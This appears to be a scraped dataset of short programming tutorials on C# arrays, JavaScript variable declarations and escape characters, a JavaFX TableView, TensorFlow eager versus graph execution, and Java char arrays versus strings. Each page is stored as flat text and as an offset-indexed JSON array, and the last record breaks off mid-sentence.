[ { "code": null, "e": 1210, "s": 1062, "text": "All arrays consist of contiguous memory locations. The lowest address corresponds to the first element and the highest address to the last element." }, { "code": null, "e": 1237, "s": 1210, "text": "Firstly, declare an array." }, { "code": null, "e": 1250, "s": 1237, "text": "int[] rank;\n" }, { "code": null, "e": 1394, "s": 1250, "text": "But declaring an array does not initialize the array in the memory. When the array variable is initialized, you can assign values to the array." }, { "code": null, "e": 1505, "s": 1394, "text": "Array is a reference type, so you need to use the new keyword to create an instance of the array. For example," }, { "code": null, "e": 1531, "s": 1505, "text": "int[] rank = new int[5];\n" }, { "code": null, "e": 1593, "s": 1531, "text": "You can assign values to an array at the time of declaration." }, { "code": null, "e": 1623, "s": 1593, "text": "int[] rank = { 1, 2, 3,4,5};\n" }, { "code": null, "e": 1696, "s": 1623, "text": "With that, you can also create and initialize an array in a single line." }, { "code": null, "e": 1742, "s": 1696, "text": "int [] rank = new int[5] { 1, 2, 3, 4, 5};\n" } ]
How to declare variables in different ways in JavaScript? - GeeksforGeeks
23 Dec, 2021 In JavaScript, we can declare a variable in different ways by using different keywords. Each keyword holds some specific reason or feature in JavaScript. Basically we can declare variables in three different ways by using var, let and const keyword. Each keyword is used in some specific conditions.var: This keyword is used to declare variable globally. If you used this keyword to declare variable then the variable can accessible globally and changeable also. It is good for a short length of codes, if the codes get huge then you will get confused. Syntax: var variableName = "Variable-Value;" Code: javascript <script> var geeks = "GeeksforGeeks"; console.log(geeks);</script> Output: GeeksforGeeks let: This keyword is used to declare variable locally. If you used this keyword to declare variable then the variable can accessible locally and it is changeable as well. It is good if the code gets huge. Syntax: let variableName = "Variable-Value;" Code: javascript <script>if (true) { let geeks = "GeeksforGeeks"; console.log(geeks); } /* This will be error and show geeks is not defined */ console.log(geeks);</script> Output: GeeksforGeeks const: This keyword is used to declare variable locally. If you use this keyword to declare a variable then the variable will only be accessible within that block similar to the variable defined by using let and difference between let and const is that the variables declared using const values can’t be reassigned. So we should assign the value while declaring the variable. Syntax: const variableName = "Variable-Value;" Code: javascript <script> const geeks = "GeeksforGeeks"; console.log(geeks);</script> Output: GeeksforGeeks bunnyram19 thanoojlingampally ES6 JavaScript Web Technologies Web technologies Questions Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Differences between Functional Components and Class Components in React Convert a string to an integer in JavaScript Set the value of an input field in JavaScript Hide or show elements in HTML using display property How to calculate the number of days between two dates in javascript? Express.js express.Router() Function Installation of Node.js on Linux Convert a string to an integer in JavaScript How to calculate the number of days between two dates in javascript? How to set input type date in dd-mm-yyyy format using HTML ?
[ { "code": null, "e": 37605, "s": 37577, "text": "\n23 Dec, 2021" }, { "code": null, "e": 38160, "s": 37605, "text": "In JavaScript, we can declare a variable in different ways by using different keywords. Each keyword holds some specific reason or feature in JavaScript. Basically we can declare variables in three different ways by using var, let and const keyword. Each keyword is used in some specific conditions.var: This keyword is used to declare variable globally. If you used this keyword to declare variable then the variable can accessible globally and changeable also. It is good for a short length of codes, if the codes get huge then you will get confused. " }, { "code": null, "e": 38170, "s": 38160, "text": "Syntax: " }, { "code": null, "e": 38207, "s": 38170, "text": "var variableName = \"Variable-Value;\"" }, { "code": null, "e": 38215, "s": 38207, "text": "Code: " }, { "code": null, "e": 38226, "s": 38215, "text": "javascript" }, { "code": "<script> var geeks = \"GeeksforGeeks\"; console.log(geeks);</script>", "e": 38299, "s": 38226, "text": null }, { "code": null, "e": 38309, "s": 38299, "text": "Output: " }, { "code": null, "e": 38323, "s": 38309, "text": "GeeksforGeeks" }, { "code": null, "e": 38530, "s": 38323, "text": "let: This keyword is used to declare variable locally. If you used this keyword to declare variable then the variable can accessible locally and it is changeable as well. It is good if the code gets huge. " }, { "code": null, "e": 38540, "s": 38530, "text": "Syntax: " }, { "code": null, "e": 38577, "s": 38540, "text": "let variableName = \"Variable-Value;\"" }, { "code": null, "e": 38585, "s": 38577, "text": "Code: " }, { "code": null, "e": 38596, "s": 38585, "text": "javascript" }, { "code": "<script>if (true) { let geeks = \"GeeksforGeeks\"; console.log(geeks); } /* This will be error and show geeks is not defined */ console.log(geeks);</script>", "e": 38779, "s": 38596, "text": null }, { "code": null, "e": 38789, "s": 38779, "text": "Output: " }, { "code": null, "e": 38803, "s": 38789, "text": "GeeksforGeeks" }, { "code": null, "e": 39179, "s": 38803, "text": "const: This keyword is used to declare variable locally. If you use this keyword to declare a variable then the variable will only be accessible within that block similar to the variable defined by using let and difference between let and const is that the variables declared using const values can’t be reassigned. So we should assign the value while declaring the variable." }, { "code": null, "e": 39189, "s": 39179, "text": "Syntax: " }, { "code": null, "e": 39228, "s": 39189, "text": "const variableName = \"Variable-Value;\"" }, { "code": null, "e": 39236, "s": 39228, "text": "Code: " }, { "code": null, "e": 39247, "s": 39236, "text": "javascript" }, { "code": "<script> const geeks = \"GeeksforGeeks\"; console.log(geeks);</script>", "e": 39322, "s": 39247, "text": null }, { "code": null, "e": 39332, "s": 39322, "text": "Output: " }, { "code": null, "e": 39346, "s": 39332, "text": "GeeksforGeeks" }, { "code": null, "e": 39359, "s": 39348, "text": "bunnyram19" }, { "code": null, "e": 39378, "s": 39359, "text": "thanoojlingampally" }, { "code": null, "e": 39382, "s": 39378, "text": "ES6" }, { "code": null, "e": 39393, "s": 39382, "text": "JavaScript" }, { "code": null, "e": 39410, "s": 39393, "text": "Web Technologies" }, { "code": null, "e": 39437, "s": 39410, "text": "Web technologies Questions" }, { "code": null, "e": 39535, "s": 39437, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 39544, "s": 39535, "text": "Comments" }, { "code": null, "e": 39557, "s": 39544, "text": "Old Comments" }, { "code": null, "e": 39629, "s": 39557, "text": "Differences between Functional Components and Class Components in React" }, { "code": null, "e": 39674, "s": 39629, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 39720, "s": 39674, "text": "Set the value of an input field in JavaScript" }, { "code": null, "e": 39773, "s": 39720, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 39842, "s": 39773, "text": "How to calculate the number of days between two dates in javascript?" }, { "code": null, "e": 39879, "s": 39842, "text": "Express.js express.Router() Function" }, { "code": null, "e": 39912, "s": 39879, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 39957, "s": 39912, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 40026, "s": 39957, "text": "How to calculate the number of days between two dates in javascript?" } ]
How to create a TableView in JavaFX?
TableView is a component that is used to create a table populate it, and remove items from it. You can create a table view by instantiating the javafx.scene.control.TableView class. The following Example demonstrates the creation of a TableView. import javafx.application.Application; import javafx.collections.FXCollections; import javafx.collections.ObservableList; import javafx.geometry.Insets; import javafx.scene.Scene; import javafx.scene.control.Label; import javafx.scene.control.TableColumn; import javafx.scene.control.TableView; import javafx.scene.layout.VBox; import javafx.scene.text.Font; import javafx.scene.text.FontPosture; import javafx.scene.text.FontWeight; import javafx.stage.Stage; public class TableViewExample extends Application { public void start(Stage stage) { //Label for education Label label = new Label("File data:"); Font font = Font.font("verdana", FontWeight.BOLD, FontPosture.REGULAR, 12); label.setFont(font); //Creating a table view TableView<String> table = new TableView<String>(); //Creating columns TableColumn fileNameCol = new TableColumn("File Name"); TableColumn pathCol = new TableColumn("Path"); TableColumn imageSizeCol = new TableColumn("Size"); TableColumn dateCol = new TableColumn("Date Modified"); dateCol.setPrefWidth(100); //Adding data to the table ObservableList<String> list = FXCollections.observableArrayList(); table.setItems(list); table.getColumns().addAll(fileNameCol, pathCol, imageSizeCol, dateCol); //Setting the size of the table table.setMaxSize(350, 200); VBox vbox = new VBox(); vbox.setSpacing(5); vbox.setPadding(new Insets(10, 50, 50, 60)); vbox.getChildren().addAll(label, table); //Setting the scene Scene scene = new Scene(vbox, 595, 230); stage.setTitle("Table View Exmple"); stage.setScene(scene); stage.show(); } public static void main(String args[]){ launch(args); } }
[ { "code": null, "e": 1244, "s": 1062, "text": "TableView is a component that is used to create a table populate it, and remove items from it. You can create a table view by instantiating the javafx.scene.control.TableView class." }, { "code": null, "e": 1308, "s": 1244, "text": "The following Example demonstrates the creation of a TableView." }, { "code": null, "e": 3097, "s": 1308, "text": "import javafx.application.Application;\nimport javafx.collections.FXCollections;\nimport javafx.collections.ObservableList;\nimport javafx.geometry.Insets;\nimport javafx.scene.Scene;\nimport javafx.scene.control.Label;\nimport javafx.scene.control.TableColumn;\nimport javafx.scene.control.TableView;\nimport javafx.scene.layout.VBox;\nimport javafx.scene.text.Font;\nimport javafx.scene.text.FontPosture;\nimport javafx.scene.text.FontWeight;\nimport javafx.stage.Stage;\npublic class TableViewExample extends Application {\n public void start(Stage stage) {\n //Label for education\n Label label = new Label(\"File data:\");\n Font font = Font.font(\"verdana\", FontWeight.BOLD, FontPosture.REGULAR, 12);\n label.setFont(font);\n //Creating a table view\n TableView<String> table = new TableView<String>();\n //Creating columns\n TableColumn fileNameCol = new TableColumn(\"File Name\");\n TableColumn pathCol = new TableColumn(\"Path\");\n TableColumn imageSizeCol = new TableColumn(\"Size\");\n TableColumn dateCol = new TableColumn(\"Date Modified\");\n dateCol.setPrefWidth(100);\n //Adding data to the table\n ObservableList<String> list = FXCollections.observableArrayList();\n table.setItems(list);\n table.getColumns().addAll(fileNameCol, pathCol, imageSizeCol, dateCol);\n //Setting the size of the table\n table.setMaxSize(350, 200);\n VBox vbox = new VBox();\n vbox.setSpacing(5);\n vbox.setPadding(new Insets(10, 50, 50, 60));\n vbox.getChildren().addAll(label, table);\n //Setting the scene\n Scene scene = new Scene(vbox, 595, 230);\n stage.setTitle(\"Table View Exmple\");\n stage.setScene(scene);\n stage.show();\n }\n public static void main(String args[]){\n launch(args);\n }\n}" } ]
Eager Execution vs. Graph Execution in TensorFlow: Which is Better? | by Orhan G. Yalçın | Towards Data Science
This is Part 4 of the Deep Learning with TensorFlow 2.x Series, and we will compare two execution options available in TensorFlow: Eager Execution vs. Graph Execution You may not have noticed that you can actually choose between one of these two. Well, the reason is that TensorFlow sets the eager execution as the default option and does not bother you unless you are looking for trouble😀. But, this was not the case in TensorFlow 1.x versions. Let’s see what eager execution is and why TensorFlow made a major shift with TensorFlow 2.0 from graph execution. Eager execution is a powerful execution environment that evaluates operations immediately. It does not build graphs, and the operations return actual values instead of computational graphs to run later. With Eager execution, TensorFlow calculates the values of tensors as they occur in your code. Eager execution simplifies the model building experience in TensorFlow, and you can see the result of a TensorFlow operation instantly. Since the eager execution is intuitive and easy to test, it is an excellent option for beginners. Not only is debugging easier with eager execution, but it also reduces the need for repetitive boilerplate codes. Eager execution is also a flexible option for research and experimentation. It provides: An intuitive interface with natural Python code and data structures; Easier debugging with calling operations directly to inspect and test models; Natural control flow with Python, instead of graph control flow; and Support for GPU & TPU acceleration. In eager execution, TensorFlow operations are executed by the native Python environment with one operation after another. This is what makes eager execution (i) easy-to-debug, (ii) intuitive, (iii) easy-to-prototype, and (iv) beginner-friendly. For these reasons, the TensorFlow team adopted eager execution as the default option with TensorFlow 2.0. But, more on that in the next sections... Let’s take a look at the Graph Execution. We covered how useful and beneficial eager execution is in the previous section, but there is a catch: Eager execution is slower than graph execution! Since eager execution runs all operations one-by-one in Python, it cannot take advantage of potential acceleration opportunities. Graph execution extracts tensor computations from Python and builds an efficient graph before evaluation. Graphs, or tf.Graph objects, are special data structures with tf.Operation and tf.Tensor objects. Whiletf.Operation objects represent computational units,tf.Tensor objects represent data units. Graphs can be saved, run, and restored without original Python code, which provides extra flexibility for cross-platform applications. With a graph, you can take advantage of your model in mobile, embedded, and backend environment where Python is unavailable. In a later stage of this series, we will see that trained models are saved as graphs no matter which execution option you choose. Graphs are easy-to-optimize. They allow compiler level transformations such as statistical inference of tensor values with constant folding, distribute sub-parts of operations between threads and devices (an advanced level distribution), and simplify arithmetic operations. Grappler performs these whole optimization operations. In graph execution, evaluation of all the operations happens only after we’ve called our program entirely. So, in summary, graph execution is: Very Fast; Very Flexible; Runs in parallel, even in sub-operation level; and Very efficient, on multiple devices with GPU & TPU acceleration capability. Therefore, despite being difficult-to-learn, difficult-to-test, and non-intuitive, graph execution is ideal for large model training. For small model training, beginners, and average developers, eager execution is better suited. Well, considering that eager execution is easy-to-build&test, and graph execution is efficient and fast, you would want to build with eager execution and run with graph execution, right? Well, we will get to that... Looking for the best of two worlds? A fast but easy-to-build option? Keep reading :) Before we dive into the code examples, let’s discuss why TensorFlow switched from graph execution to eager execution in TensorFlow 2.0. Before version 2.0, TensorFlow prioritized graph execution because it was fast, efficient, and flexible. The difficulty of implementation was just a trade-off for the seasoned programmers. On the other hand, PyTorch adopted a different approach and prioritized dynamic computation graphs, which is a similar concept to eager execution. Although dynamic computation graphs are not as efficient as TensorFlow Graph execution, they provided an easy and intuitive interface for the new wave of researchers and AI programmers. This difference in the default execution strategy made PyTorch more attractive for the newcomers. Soon enough, PyTorch, although a latecomer, started to catch up with TensorFlow. After seeing PyTorch's increasing popularity, the TensorFlow team soon realized that they have to prioritize eager execution. Therefore, they adopted eager execution as the default execution method, and graph execution is optional. This is just like, PyTorch sets dynamic computation graphs as the default execution method, and you can opt to use static computation graphs for efficiency. Since, now, both TensorFlow and PyTorch adopted the beginner-friendly execution methods, PyTorch lost its competitive advantage over the beginners. Currently, due to its maturity, TensorFlow has the upper hand. However, there is no doubt that PyTorch is also a good alternative to build and train deep learning models. The choice is yours... In this section, we will compare the eager execution with the graph execution using basic code examples. For the sake of simplicity, we will deliberately avoid building complex models. But, in the upcoming parts of this series, we can also compare these execution methods using more complex models. We have mentioned that TensorFlow prioritizes eager execution. But that’s not all. Now, you can actually build models just like eager execution and then run it with graph execution. TensorFlow 1.x requires users to create graphs manually. These graphs would then manually be compiled by passing a set of output tensors and input tensors to a session.run() call. But, with TensorFlow 2.0, graph building and session calls are reduced to an implementation detail. This simplification is achieved by replacing session.run() with tf.function() decorators. In TensorFlow 2.0, you can decorate a Python function using tf.function() to run it as a single graph object. With this new method, you can easily build models and gain all the graph execution benefits. This post will test eager and graph execution with a few basic examples and a full dummy model. Please note that since this is an introductory post, we will not dive deep into a full benchmark analysis for now. We will start with two initial imports: timeit is a Python module which provides a simple way to time small bits of Python and it will be useful to compare the performances of eager execution and graph execution. To run a code with eager execution, we don’t have to do anything special; we create a function, pass a tf.Tensor object, and run the code. In the code below, we create a function called eager_function to calculate the square of Tensor values. Then, we create a tf.Tensor object and finally call the function we created. Our code is executed with eager execution: Output: tf.Tensor([ 1. 4. 9. 16. 25.], shape=(5,), dtype=float32) Let’s first see how we can run the same function with graph execution. Output: Tensor("pow:0", shape=(5,), dtype=float32) By wrapping our eager_function with tf.function() function, we are capable of running our code with graph execution. We can compare the execution times of these two methods with timeit as shown below: Output:Eager time: 0.0008830739998302306Graph time: 0.0012101310003345134 As you can see, graph execution took more time. But why? Well, for simple operations, graph execution does not perform well because it has to spend the initial computing power to build a graph. We see the power of graph execution in complex calculations. If I run the code 100 times (by changing the number parameter), the results change dramatically (mainly due to the print statement in this example): Output:Eager time: 0.06957343100020807 Graph time: 0.02631650599960267 Now that you covered the basic code examples, let’s build a dummy neural network to compare the performances of eager and graph executions. We will: 1 — Make TensorFlow imports to use the required modules; 2 — Build a basic feedforward neural network; 3 — Create a random Input object; 4 — Run the model with eager execution; 5 — Wrap the model with tf.function() to run it with graph execution. If you are new to TensorFlow, don’t worry about how we are building the model. We will cover this in detail in the upcoming parts of this Series. The following lines do all of these operations: Output:Eager time: 27.14511264399971Graph time: 17.878579870000067 As you can see, our graph execution outperformed eager execution with a margin of around 40%. In more complex model training operations, this margin is much larger. In this post, we compared eager execution with graph execution. While eager execution is easy-to-use and intuitive, graph execution is faster, more flexible, and robust. Therefore, it is no brainer to use the default option, eager execution, for beginners. However, if you want to take advantage of the flexibility and speed and are a seasoned programmer, then graph execution is for you. On the other hand, thanks to the latest improvements in TensorFlow, using graph execution is much simpler. Therefore, you can even push your limits to try out graph execution. But, make sure you know that debugging is also more difficult in graph execution. The code examples above showed us that it is easy to apply graph execution for simple examples. For more complex models, there is some added workload that comes with graph execution. Note that when you wrap your model with tf.function(), you cannot use several model functions like model.compile() and model.fit() because they already try to build a graph automatically. But we will cover those examples in a different and more advanced level post of this series. We have successfully compared Eager Execution with Graph Execution. Give yourself a pat on the back! This should give you a lot of confidence since you are now much more informed about Eager Execution, Graph Execution, and the pros-and-cons of using these execution methods. If you would like to have access to full code on Google Colab and the rest of my latest content, consider subscribing to the mailing list. Subscribe Now If you are reading this article, I am sure that we share similar interests and are/will be in similar industries. So let’s connect via Linkedin! Please do not hesitate to send a contact request! Orhan G. Yalçın — Linkedin If you are just starting out with TensorFlow, consider starting from Part 1 of this tutorial series: towardsdatascience.com or check out Part 2: towardsdatascience.com or check out Part 3:
[ { "code": null, "e": 303, "s": 172, "text": "This is Part 4 of the Deep Learning with TensorFlow 2.x Series, and we will compare two execution options available in TensorFlow:" }, { "code": null, "e": 339, "s": 303, "text": "Eager Execution vs. Graph Execution" }, { "code": null, "e": 732, "s": 339, "text": "You may not have noticed that you can actually choose between one of these two. Well, the reason is that TensorFlow sets the eager execution as the default option and does not bother you unless you are looking for trouble😀. But, this was not the case in TensorFlow 1.x versions. Let’s see what eager execution is and why TensorFlow made a major shift with TensorFlow 2.0 from graph execution." }, { "code": null, "e": 1029, "s": 732, "text": "Eager execution is a powerful execution environment that evaluates operations immediately. It does not build graphs, and the operations return actual values instead of computational graphs to run later. With Eager execution, TensorFlow calculates the values of tensors as they occur in your code." }, { "code": null, "e": 1466, "s": 1029, "text": "Eager execution simplifies the model building experience in TensorFlow, and you can see the result of a TensorFlow operation instantly. Since the eager execution is intuitive and easy to test, it is an excellent option for beginners. Not only is debugging easier with eager execution, but it also reduces the need for repetitive boilerplate codes. Eager execution is also a flexible option for research and experimentation. It provides:" }, { "code": null, "e": 1535, "s": 1466, "text": "An intuitive interface with natural Python code and data structures;" }, { "code": null, "e": 1613, "s": 1535, "text": "Easier debugging with calling operations directly to inspect and test models;" }, { "code": null, "e": 1682, "s": 1613, "text": "Natural control flow with Python, instead of graph control flow; and" }, { "code": null, "e": 1718, "s": 1682, "text": "Support for GPU & TPU acceleration." }, { "code": null, "e": 2111, "s": 1718, "text": "In eager execution, TensorFlow operations are executed by the native Python environment with one operation after another. This is what makes eager execution (i) easy-to-debug, (ii) intuitive, (iii) easy-to-prototype, and (iv) beginner-friendly. For these reasons, the TensorFlow team adopted eager execution as the default option with TensorFlow 2.0. But, more on that in the next sections..." }, { "code": null, "e": 2153, "s": 2111, "text": "Let’s take a look at the Graph Execution." }, { "code": null, "e": 2256, "s": 2153, "text": "We covered how useful and beneficial eager execution is in the previous section, but there is a catch:" }, { "code": null, "e": 2304, "s": 2256, "text": "Eager execution is slower than graph execution!" }, { "code": null, "e": 3124, "s": 2304, "text": "Since eager execution runs all operations one-by-one in Python, it cannot take advantage of potential acceleration opportunities. Graph execution extracts tensor computations from Python and builds an efficient graph before evaluation. Graphs, or tf.Graph objects, are special data structures with tf.Operation and tf.Tensor objects. Whiletf.Operation objects represent computational units,tf.Tensor objects represent data units. Graphs can be saved, run, and restored without original Python code, which provides extra flexibility for cross-platform applications. With a graph, you can take advantage of your model in mobile, embedded, and backend environment where Python is unavailable. In a later stage of this series, we will see that trained models are saved as graphs no matter which execution option you choose." }, { "code": null, "e": 3596, "s": 3124, "text": "Graphs are easy-to-optimize. They allow compiler level transformations such as statistical inference of tensor values with constant folding, distribute sub-parts of operations between threads and devices (an advanced level distribution), and simplify arithmetic operations. Grappler performs these whole optimization operations. In graph execution, evaluation of all the operations happens only after we’ve called our program entirely. So, in summary, graph execution is:" }, { "code": null, "e": 3607, "s": 3596, "text": "Very Fast;" }, { "code": null, "e": 3622, "s": 3607, "text": "Very Flexible;" }, { "code": null, "e": 3673, "s": 3622, "text": "Runs in parallel, even in sub-operation level; and" }, { "code": null, "e": 3709, "s": 3673, "text": "Very efficient, on multiple devices" }, { "code": null, "e": 3749, "s": 3709, "text": "with GPU & TPU acceleration capability." }, { "code": null, "e": 3978, "s": 3749, "text": "Therefore, despite being difficult-to-learn, difficult-to-test, and non-intuitive, graph execution is ideal for large model training. For small model training, beginners, and average developers, eager execution is better suited." }, { "code": null, "e": 4194, "s": 3978, "text": "Well, considering that eager execution is easy-to-build&test, and graph execution is efficient and fast, you would want to build with eager execution and run with graph execution, right? Well, we will get to that..." }, { "code": null, "e": 4279, "s": 4194, "text": "Looking for the best of two worlds? A fast but easy-to-build option? Keep reading :)" }, { "code": null, "e": 4415, "s": 4279, "text": "Before we dive into the code examples, let’s discuss why TensorFlow switched from graph execution to eager execution in TensorFlow 2.0." }, { "code": null, "e": 5116, "s": 4415, "text": "Before version 2.0, TensorFlow prioritized graph execution because it was fast, efficient, and flexible. The difficulty of implementation was just a trade-off for the seasoned programmers. On the other hand, PyTorch adopted a different approach and prioritized dynamic computation graphs, which is a similar concept to eager execution. Although dynamic computation graphs are not as efficient as TensorFlow Graph execution, they provided an easy and intuitive interface for the new wave of researchers and AI programmers. This difference in the default execution strategy made PyTorch more attractive for the newcomers. Soon enough, PyTorch, although a latecomer, started to catch up with TensorFlow." }, { "code": null, "e": 5505, "s": 5116, "text": "After seeing PyTorch's increasing popularity, the TensorFlow team soon realized that they have to prioritize eager execution. Therefore, they adopted eager execution as the default execution method, and graph execution is optional. This is just like, PyTorch sets dynamic computation graphs as the default execution method, and you can opt to use static computation graphs for efficiency." }, { "code": null, "e": 5847, "s": 5505, "text": "Since, now, both TensorFlow and PyTorch adopted the beginner-friendly execution methods, PyTorch lost its competitive advantage over the beginners. Currently, due to its maturity, TensorFlow has the upper hand. However, there is no doubt that PyTorch is also a good alternative to build and train deep learning models. The choice is yours..." }, { "code": null, "e": 6146, "s": 5847, "text": "In this section, we will compare the eager execution with the graph execution using basic code examples. For the sake of simplicity, we will deliberately avoid building complex models. But, in the upcoming parts of this series, we can also compare these execution methods using more complex models." }, { "code": null, "e": 6901, "s": 6146, "text": "We have mentioned that TensorFlow prioritizes eager execution. But that’s not all. Now, you can actually build models just like eager execution and then run it with graph execution. TensorFlow 1.x requires users to create graphs manually. These graphs would then manually be compiled by passing a set of output tensors and input tensors to a session.run() call. But, with TensorFlow 2.0, graph building and session calls are reduced to an implementation detail. This simplification is achieved by replacing session.run() with tf.function() decorators. In TensorFlow 2.0, you can decorate a Python function using tf.function() to run it as a single graph object. With this new method, you can easily build models and gain all the graph execution benefits." }, { "code": null, "e": 7112, "s": 6901, "text": "This post will test eager and graph execution with a few basic examples and a full dummy model. Please note that since this is an introductory post, we will not dive deep into a full benchmark analysis for now." }, { "code": null, "e": 7152, "s": 7112, "text": "We will start with two initial imports:" }, { "code": null, "e": 7325, "s": 7152, "text": "timeit is a Python module which provides a simple way to time small bits of Python and it will be useful to compare the performances of eager execution and graph execution." }, { "code": null, "e": 7688, "s": 7325, "text": "To run a code with eager execution, we don’t have to do anything special; we create a function, pass a tf.Tensor object, and run the code. In the code below, we create a function called eager_function to calculate the square of Tensor values. Then, we create a tf.Tensor object and finally call the function we created. Our code is executed with eager execution:" }, { "code": null, "e": 7756, "s": 7688, "text": "Output: tf.Tensor([ 1. 4. 9. 16. 25.], shape=(5,), dtype=float32)" }, { "code": null, "e": 7827, "s": 7756, "text": "Let’s first see how we can run the same function with graph execution." }, { "code": null, "e": 7878, "s": 7827, "text": "Output: Tensor(\"pow:0\", shape=(5,), dtype=float32)" }, { "code": null, "e": 8079, "s": 7878, "text": "By wrapping our eager_function with tf.function() function, we are capable of running our code with graph execution. We can compare the execution times of these two methods with timeit as shown below:" }, { "code": null, "e": 8153, "s": 8079, "text": "Output:Eager time: 0.0008830739998302306Graph time: 0.0012101310003345134" }, { "code": null, "e": 8557, "s": 8153, "text": "As you can see, graph execution took more time. But why? Well, for simple operations, graph execution does not perform well because it has to spend the initial computing power to build a graph. We see the power of graph execution in complex calculations. If I run the code 100 times (by changing the number parameter), the results change dramatically (mainly due to the print statement in this example):" }, { "code": null, "e": 8628, "s": 8557, "text": "Output:Eager time: 0.06957343100020807 Graph time: 0.02631650599960267" }, { "code": null, "e": 8777, "s": 8628, "text": "Now that you covered the basic code examples, let’s build a dummy neural network to compare the performances of eager and graph executions. We will:" }, { "code": null, "e": 8834, "s": 8777, "text": "1 — Make TensorFlow imports to use the required modules;" }, { "code": null, "e": 8880, "s": 8834, "text": "2 — Build a basic feedforward neural network;" }, { "code": null, "e": 8914, "s": 8880, "text": "3 — Create a random Input object;" }, { "code": null, "e": 8954, "s": 8914, "text": "4 — Run the model with eager execution;" }, { "code": null, "e": 9024, "s": 8954, "text": "5 — Wrap the model with tf.function() to run it with graph execution." }, { "code": null, "e": 9170, "s": 9024, "text": "If you are new to TensorFlow, don’t worry about how we are building the model. We will cover this in detail in the upcoming parts of this Series." }, { "code": null, "e": 9218, "s": 9170, "text": "The following lines do all of these operations:" }, { "code": null, "e": 9285, "s": 9218, "text": "Output:Eager time: 27.14511264399971Graph time: 17.878579870000067" }, { "code": null, "e": 9450, "s": 9285, "text": "As you can see, our graph execution outperformed eager execution with a margin of around 40%. In more complex model training operations, this margin is much larger." }, { "code": null, "e": 10097, "s": 9450, "text": "In this post, we compared eager execution with graph execution. While eager execution is easy-to-use and intuitive, graph execution is faster, more flexible, and robust. Therefore, it is no brainer to use the default option, eager execution, for beginners. However, if you want to take advantage of the flexibility and speed and are a seasoned programmer, then graph execution is for you. On the other hand, thanks to the latest improvements in TensorFlow, using graph execution is much simpler. Therefore, you can even push your limits to try out graph execution. But, make sure you know that debugging is also more difficult in graph execution." }, { "code": null, "e": 10280, "s": 10097, "text": "The code examples above showed us that it is easy to apply graph execution for simple examples. For more complex models, there is some added workload that comes with graph execution." }, { "code": null, "e": 10561, "s": 10280, "text": "Note that when you wrap your model with tf.function(), you cannot use several model functions like model.compile() and model.fit() because they already try to build a graph automatically. But we will cover those examples in a different and more advanced level post of this series." }, { "code": null, "e": 10629, "s": 10561, "text": "We have successfully compared Eager Execution with Graph Execution." }, { "code": null, "e": 10662, "s": 10629, "text": "Give yourself a pat on the back!" }, { "code": null, "e": 10836, "s": 10662, "text": "This should give you a lot of confidence since you are now much more informed about Eager Execution, Graph Execution, and the pros-and-cons of using these execution methods." }, { "code": null, "e": 10975, "s": 10836, "text": "If you would like to have access to full code on Google Colab and the rest of my latest content, consider subscribing to the mailing list." }, { "code": null, "e": 10989, "s": 10975, "text": "Subscribe Now" }, { "code": null, "e": 11212, "s": 10989, "text": "If you are reading this article, I am sure that we share similar interests and are/will be in similar industries. So let’s connect via Linkedin! Please do not hesitate to send a contact request! Orhan G. Yalçın — Linkedin" }, { "code": null, "e": 11313, "s": 11212, "text": "If you are just starting out with TensorFlow, consider starting from Part 1 of this tutorial series:" }, { "code": null, "e": 11336, "s": 11313, "text": "towardsdatascience.com" }, { "code": null, "e": 11357, "s": 11336, "text": "or check out Part 2:" }, { "code": null, "e": 11380, "s": 11357, "text": "towardsdatascience.com" } ]
Escape characters in JavaScript
Escape characters are characters that can be interpreted in some alternate way then what we intended to. To print these characters as it is, include backslash ‘\’ in front of them. Following are the escape characters in JavaScript − Following is the code implement escape character Backslash in javaScript − Live Demo <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Document</title> <style> body { font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif; } .result { font-size: 18px; font-weight: 500; } </style> </head> <body> <h1>Escape characters in JavaScript</h1> <div class="result"></div> <script> let str = 'Hello World "This" is some sample \\ Text \' '; let resEle = document.querySelector(".result"); resEle.innerHTML = str; </script> </body> </html>
[ { "code": null, "e": 1295, "s": 1062, "text": "Escape characters are characters that can be interpreted in some alternate way then what we intended to. To print these characters as it is, include backslash ‘\\’ in front of them. Following are the escape characters in JavaScript −" }, { "code": null, "e": 1370, "s": 1295, "text": "Following is the code implement escape character Backslash in javaScript −" }, { "code": null, "e": 1381, "s": 1370, "text": " Live Demo" }, { "code": null, "e": 1966, "s": 1381, "text": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\" />\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<title>Document</title>\n<style>\n body {\n font-family: \"Segoe UI\", Tahoma, Geneva, Verdana, sans-serif;\n }\n .result {\n font-size: 18px;\n font-weight: 500;\n }\n</style>\n</head>\n<body>\n<h1>Escape characters in JavaScript</h1>\n<div class=\"result\"></div>\n<script>\n let str = 'Hello World \"This\" is some sample \\\\ Text \\' ';\n let resEle = document.querySelector(\".result\");\n resEle.innerHTML = str;\n</script>\n</body>\n</html>" } ]
Difference Between Character Array and String
In this post, we will understand the difference between character array and string. They are immutable. They are immutable. Once they are defined, they can’t be changed. Once they are defined, they can’t be changed. It refers to a sequence of characters, which is represented as a single data type. It refers to a sequence of characters, which is represented as a single data type. It contains built-in functions such as substring(), charAt(). It contains built-in functions such as substring(), charAt(). The ‘+’ operator can be used to append strings together, which would form a new string. The ‘+’ operator can be used to append strings together, which would form a new string. The charAt() method helps access characters at a specific index within a ‘String’. The charAt() method helps access characters at a specific index within a ‘String’. These strings are stored in the ‘String Constant Pool’. These strings are stored in the ‘String Constant Pool’. It is not preferred to store passwords in strings in Java. It is not preferred to store passwords in strings in Java. A string can be converted to a character array using toCharArray() method of ‘String’ class. A string can be converted to a character array using toCharArray() method of ‘String’ class. String my_string = "JANE" ; char [] ch = my_string.toCharArray(); They are mutable. They are mutable. This means their values can be changed. This means their values can be changed. It is a sequential collection of data type ‘char’. It is a sequential collection of data type ‘char’. It doesn’t have built-in methods to perform operations on character arrays in Java. It doesn’t have built-in methods to perform operations on character arrays in Java. The ‘+’ operator can’t be used to append two character arrays. The ‘+’ 